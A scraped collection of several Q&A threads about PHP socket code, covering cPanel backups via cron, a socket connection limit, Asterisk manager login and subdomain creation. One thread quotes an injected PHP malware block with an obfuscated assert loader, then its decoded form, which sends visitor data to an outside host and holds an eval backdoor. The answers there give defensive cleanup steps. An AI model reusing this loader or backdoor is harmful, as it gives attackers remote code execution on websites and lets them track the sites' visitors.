I did some google search for this but all I can find is separate things and the cPanel's interface is a little bit confusing to be honest.
Basically, I have this script to create files+mysql backup:
<?php
$auth = base64_encode(":");
$domain = "";
$theme = "";
$secure = false;
$ftp = false;
$ftpserver = "";
$ftpusername = "";
$ftppassword = "";
$ftpport = "21";
$ftpdirectory = "/";
if ($secure) {
$url = "ssl://" . $domain;
$port = 2083;
} else {
$url = $domain;
$port = 2082;
}
$socket = fsockopen($url, $port);
if (!$socket) {
exit("Failed to open socket connection.");
}
if ($ftp) {
$params = "dest=ftp&server=$ftpserver&user=$ftpusername&pass=$ftppassword&port=$ftpport&rdir=$ftpdirectory&submit=Generate Backup";
} else {
$params = "submit=Generate Backup";
}
fputs($socket, "POST /frontend/" . $theme . "/backup/dofullbackup.html?" . $params . " HTTP/1.0\r\n");
fputs($socket, "Host: $domain\r\n");
fputs($socket, "Authorization: Basic $auth\r\n");
fputs($socket, "Connection: Close\r\n");
fputs($socket, "\r\n");
while (!feof($socket)) {
$response = fgets($socket, 4096);
echo $response;
}
fclose($socket);
?>
I would like to run that PHP file so it backups up my stuff exactly like the cPanel would on any regular shared hosting plan: Daily, Weekly and Monthly. I want to do this because of my website got screwed up because the hosting company backup was not working properly.
Do I need to create separate cron jobs for daily, weekly, monthly or I can do all of them at once?
If I input a command in the Command field, is it enough to get it working or I need to setup the other input fields?
What's the correct command to run my backups as explained above?
Thanks!
In that interface, you have a few different options for the command,
php -q /path/to/your/script.php
would work.
If you add #!/usr/bin/php -q to the top of your PHP script, then you can just call it directly from cron:
/path/to/your/script.php
The general answers to your questions (not having to do with that web interface) are covered here:
How to execute a php script every day
This might also be helpful, a random but pretty decent reference on crontab syntax:
http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/
Related
All the Index.php, header.php, footer.php files on my server have this code segment. Possible Malware. Now i would like to remove all this junk data from all my files at once. I'm using PHP on Debian system.
<?php
//###=CACHE START=###
error_reporting(0);
$strings = "as";$strings .= "sert";
#$strings(str_rot13('riny(onfr64_qrpbqr("nJLt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1pzksMKuyLltxL2tcBjcwqKWfK2Afo3AyXPEwnPx7PvEcLaLtCFNxpzImqJk0Bjc9VTIfp2HtrjbxMaNtCFOzp29wn29jMJ4bVz1yM2RgpzS0nJ5aYaW1VvjtBQNfVPEypaWholjtWTIlpaA0pvjtZmNcBjccMvNbWTMjXFO7PvNtVPNxo3I0VQ0tVxqSIPNiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxnKNcYvVzMQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPVjAJSyMzH1MTLjBQR4BGL3LGSvAQH5AwEwZmD2ZGpkMFVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvOgMJquYKWuqTyhMl5lqIklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwL5LzZjBGZjVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###
?>
I've Tried using Regex via PHP but no help
i've also tried sed on Linux server
sed -e '/#\$stringd' index.php
but unable to save file.
Please help.
As #jeroen said, re-installing would be good because you really don't know what backdoors could be around right now.
Then you will have to clean up your PHP files. Create a new script in your projects root directory something like scan.php.
Instead of automatically removing the problems i would suggest creating a helper to check where there might be still malware inside your code:
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo)
{
if (!$fileinfo->isDot())
{
$fileContents = file_get_contents($fileinfo->getFilename());
if (strpos($fileContents, 'str_rot13') !== false)
{
print "Check this file: " . $fileinfo->getFilename() . "\n";
}
}
}
This script is pretty Raw you will have to modifiy it for your needs.
Block connections
The decoded script looks the following:
<?php
if (isset($ibv)) {
echo $ibv;
} else {
error_reporting(0);
ini_set('display_errors', '0');
if (!isset($ibv)) {
if (!empty($_COOKIE['client_check'])) {
die($_COOKIE['client_check']);
}
if (preg_match('!\S!u', file_get_contents($_SERVER['SCRIPT_FILENAME']))) {
$c = 'u';
} else {
$c = 'w';
}
$d = $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$u = $_SERVER['HTTP_USER_AGENT'];
$ip = $_SERVER['REMOTE_ADDR'];
$url = 'http://mega-rating.ru/get.php?ip='.urlencode($ip).'&d='.urlencode($d).'&u='.urlencode($u).'&c='.$c.'&i=1&h='.md5('05aefe5df0818967a1b45964c346171e'.$d.$u.$c.'1');
if (ini_get('allow_url_fopen') == 1) {
$ibv = file_get_contents($url);
} elseif (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen('mega-rating.ru', 80, $errno, $errstr, 30);
if ($fp) {
$out = 'GET /get.php?ip='.urlencode($ip).'&d='.urlencode($d).'&u='.urlencode($u).'&c='.$c.'&i=1&h='.md5('05aefe5df0818967a1b45964c346171e'.$d.$u.$c.'1')." HTTP/1.1\r\n";
$out .= "Host: mega-rating.ru\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$resp = '';
while (!feof($fp)) {
$resp .= fgets($fp, 128);
}
fclose($fp);
list($header, $body) = preg_split("/\R\R/", $resp, 2);
$ibv = $body;
}
}
};
if (isset($_REQUEST['p']) && $_REQUEST['p'] == '69bc0930') {
eval(stripslashes($_REQUEST['c']));
}
echo $ibv;
}
I would also suggest blocking all connections in and out to the host mega-rating.ru.
Reinstalling the server is indeed the safest option.
But without recent backups of those php scripts ...
Anyway, sed isn't the best tool for multi-line replacements in files.
And you'd want to remove anything between those CACHE comments.
I would use Perl or Awk for that.
Here's a single line perl solution that removes those comments from a file.
(also creates a .bak copy of the original file)
perl -i.bak -p -0 -e 's#//###=CACHE.*?CACHE END=#####gs' index.php
Note that # was used to for the separators of the regex. Typically / is used, but this way the / don't have to be backslashed in the regex.
For multiple *.php files (without .bak copies)
perl -i -p -0 -e 's#//###=CACHE.*?CACHE END=#####gs' *.php
The perl flags used:
-i[extension] edit <> files in place (makes backup if extension supplied)
-p assume loop like -n but print line also, like sed
-0[octal] specify record separator (\0, if no argument)
-e program one line of program (several -e's allowed, omit programfile)
I have a weird issue and I can't seem to find a solution or anything closer to the issue I am having ,
Here is the thing , I have a scoket script run via php on command line, it accepts connection and reads data in json format from mobile app clients and sends appropriate response in json.
Everything works fine except the number of connection does not go above 256 connection.
I would like to know why is that, and how can I solve it ? I have been It on so many days, but no luck!
Here is the script snippet
<?php
date_default_timezone_set("UTC");
$server = stream_socket_server("tcp://192.168.1.77:25003", $errno, $errorMessage);
if (!$server) {
die("$errstr ($errno)");
}
echo "Server started..";
echo "\r\n";
$client_socks = array();
while (true) {
//prepare readable sockets
$read_socks = $client_socks;
$read_socks[] = $server;
//start reading and use a large timeout
if (!stream_select ($read_socks, $write, $except, 10000)) {
die('something went wrong while selecting');
}
//new client
if (in_array($server, $read_socks)) {
$new_client = stream_socket_accept($server);
if ($new_client) {
//print remote client information, ip and port number
echo 'Connection accepted from ' . stream_socket_get_name($new_client, true);
echo "\r\n";
$client_socks[] = $new_client;
echo "Now there are total ". count($client_socks) . " clients";
echo "\r\n";
}
// echo stream_socket_get_name($new_client, true);
//delete the server socket from the read sockets
unset($read_socks[array_search($server, $read_socks)]);
}
$data = '';
$res = '';
//message from existing client
foreach($read_socks as $sock) {
stream_set_timeout($sock, 1000);
while($resp = fread($sock, 25000)) {
$data .= $resp;
if (strpos($data, "\n") !== false) {
break;
}
}
$info = stream_get_meta_data($sock);
if ($info['timed_out']) {
unset($client_socks[array_search($sock, $client_socks)]);
#fclose($sock);
echo 'Connection timed out!';
continue;
}
$client = stream_socket_get_name($sock, true);
if (!$data) {
unset($client_socks[array_search($sock, $client_socks)]);
#fclose($sock);
echo "$client got disconnected";
echo "\r\n";
continue;
}
//send the message back to client
$decode = json_decode($data);
$encode = json_encode($res);
fwrite($sock,$encode."\n");
}
}
P.S.: What I did is, extensive search on the topic, and went over article like these,
http://smallvoid.com/article/winnt-tcpip-max-limit.html and two dozens others.
I have a windows 7 running this thing + wamp 2.5 which runs php 5.5.12
It's nothing to do with your code, it's a "feature" of MS Windows to make you buy the server edition (or upgrade to a different OS). Functionally there's no difference between the server and desktop editions of the NT kernel (some different optimization tweaks) its just a means of ensuring you are complying with the terms of the licence.
I am trying to connect to my Asterisk Manager interface using Http Connection. This is not working for me. Anyone can help for me?
I need to login to Asteric manager interface using php. PHP file should be in another server.
manager.conf
[general]
enabled = yes
webenabled = yes
port = 5038
bindaddr = 0.0.0.0
displayconnects=no ;only effects 1.6+
[sameera]
secret = 123123
deny=0.0.0.0/0.0.0.0
permit=192.168.100.122/255.255.255.0
read = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
write = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
writetimeout = 5000
192.168.100.122 is my server ip address
login.php
<?php
$timeout = 3;
$socket = fsockopen("192.168.100.122",'12321',$errno,$errstr,$timeout);
fputs($socket,"Action: Login\r\n");
fputs($socket,"Username: sameera\r\n");
fputs($socket,"Secret: 123123\r\n\r\n");
$line="";
$response="";
while($line != "\r\n"){
$line = fgetss($socket,128);
$response .= $line;
}
echo $response;
?>
Your port number is wrong, change 12321 to 5039
$socket = fsockopen("192.168.100.122",'5039',$errno,$errstr,$timeout);
<?php
$timeout = 3;
$socket = fsockopen("127.0.0.1",'5038',$errno,$errstr,$timeout);
fputs($socket,"Action: Login\r\n");
fputs($socket,"Username: julio\r\n");
fputs($socket,"Secret: 12345\r\n\r\n");
$line="";
$response="";
while($line != "\r\n"){
$line = fgetss($socket,128);
$response .= $line;
}
echo $response;
?>
Use phpagi/ami library,NOT re-create it again
Do debug of your code and ensure your firewall allow connect.
Here is the issue. I'm working on a tracking script with a China tracking unit (not important). The two files I have is as follows:
7778.php
#!/usr/bin/php -q
<?php
error_reporting(0);
set_time_limit(0);
$address = 'SERVER IP';
$port = 7778;
$q_count = 1;
if (($master = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0)
{
echo "socket_create() failed, reason: " . socket_strerror($master) . "\n";
}
socket_set_option($master, SOL_SOCKET,SO_REUSEADDR, 1);
if (($ret = socket_bind($master, $address, $port)) < 0)
{
echo "socket_bind() failed, reason: " . socket_strerror($ret) . "\n";
}
if (($ret = socket_listen($master, SOMAXCONN)) < 0)
{
echo "socket_listen() failed, reason: " . socket_strerror($ret) . "\n";
}
$read_sockets = array($master);
//---- Create Persistent Loop to continuously handle incoming socket messages ---------------------
while (true)
{
$changed_sockets = $read_sockets;
$num_changed_sockets = socket_select($changed_sockets, $write = NULL, $except = NULL, NULL);
foreach($changed_sockets as $socket)
{
if ($socket == $master)
{
if (($client = socket_accept($master)) < 0)
{
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
continue;
}
else
{
array_push($read_sockets, $client);
print "[".date('Y-m-d H:i:s')."] ".$client." CONNECTED "."(".count($read_sockets)."/".SOMAXCONN.")\r\n";
}
}
else
{
$bytes = #socket_recv($socket, $buffer, 2048, 0);
if ($bytes == 0)
{
$index = array_search($socket, $read_sockets);
unset($read_sockets[$index]);
if (socket_close($client))
{
print "Connection closed\r\n";
}
}
else
{
print $buffer."\r\n";
}
print "All Done\r\n";
print "---------------------------------------------------------------------------------------------------------\r\n";
$index = array_search($socket, $read_sockets);
unset($read_sockets[$index]);
if (socket_close($client))
{
print "Connection closed\r\n";
}
}
}
}
?>
and then
port_start.sh with code:
#!/bin/sh
cd /home/path/to/script/
if netstat -tulpn | grep 7778 > /dev/null
then
echo 7778 - Online
else
./7778.php
fi
Now what I would do to test the script is ssh onto my server, navigate to the file directory and type "./7778.php". This will then start my php file, which will open port 7778, my unit will then connect, and my script will dump the data/buffer on the screen. Even if I start the script from the .sh file by typing the following "./port_start.sh" everything works perfect. I can also use Putty and open a RAW connection to my server and the port, and it works. No how it must work is as follows. The unit will make a connection, the script will accept it and receive the data, and then close the connection. My problem occurs when I open the port by running the .sh file from my cronjob with the following code "*/1 * * * * /home/path/to/file/port_start.sh > /dev/null". It will open it, and I can verify that its open, but nothing can connect to it. Why would that be?
When working from cronjob, computer cannot locate the command program. If the program inside /home/root/bin directory, you should call it like/home/root/bin/netstat ... you can locate the progrma by running "locate netstat" and "locate grep". This may solve your problem.
Thank you so much Isa for your response. In my case this was not the problem. Everything opens and works as it should. But I have a little script to check if the port is open. My problem happened there. When I ran the script, it would keep the port open but would kill my script. That's why I could see that the port was still open but nothing would be happening.
The script I use to check the port is as follows if someone ever sits with the same problem:
$errno = "";
$errstr = "";
$fp = #fsockopen($domain, $port, $errno, $errstr, 2);
$status = "";
if (!$fp) {
$status = "<img src='red.gif' alt='Status: Down, Domain: $domain, Port: $port ($errstr)'>\n";
}
else
{
$status = "<img src='green.gif' alt='Status: Up, Domain: $domain, Port: $port'>\n";
}
#fclose($fp);
But again Isa your response made sense but didn't apply to me
I am creating subdomains dynamically through the php script. This is creating well. But when I try to open it I am getting a default cgi error page ( http://subdomain.mydomain.com/cgi-sys/defaultwebpage.cgi). But after 15-20 minutes later this is working fine. Why is this?
My subdomain creation code is below:
function subd($host, $port, $ownername, $passw, $request) {
$authstr = "cpanel_userid:cpanel_password";
$sock = fsockopen('localhost',2082);
if(!$sock) {
print('Socket error');
exit();
}
$pass = base64_encode($authstr);
$in = "GET $request\r\n";
$in .= "HTTP/1.0\r\n";
$in .= "Host:localhost\r\n";
$in .= "Authorization: Basic $pass\r\n";
$in .= "\r\n";
fputs($sock, $in);
while (!feof($sock)) {
$result .= fgets ($sock,128);
}
fclose( $sock );
return $result;
}
I'm calling this function from my code. My subdomain is creating well but this is taking a bit more time to setup properly. Where am I going wrong? My server is running Linux.
Thanks.
I presume that your web hoster needs the time to completely setup the subdomain. Looks normal to me.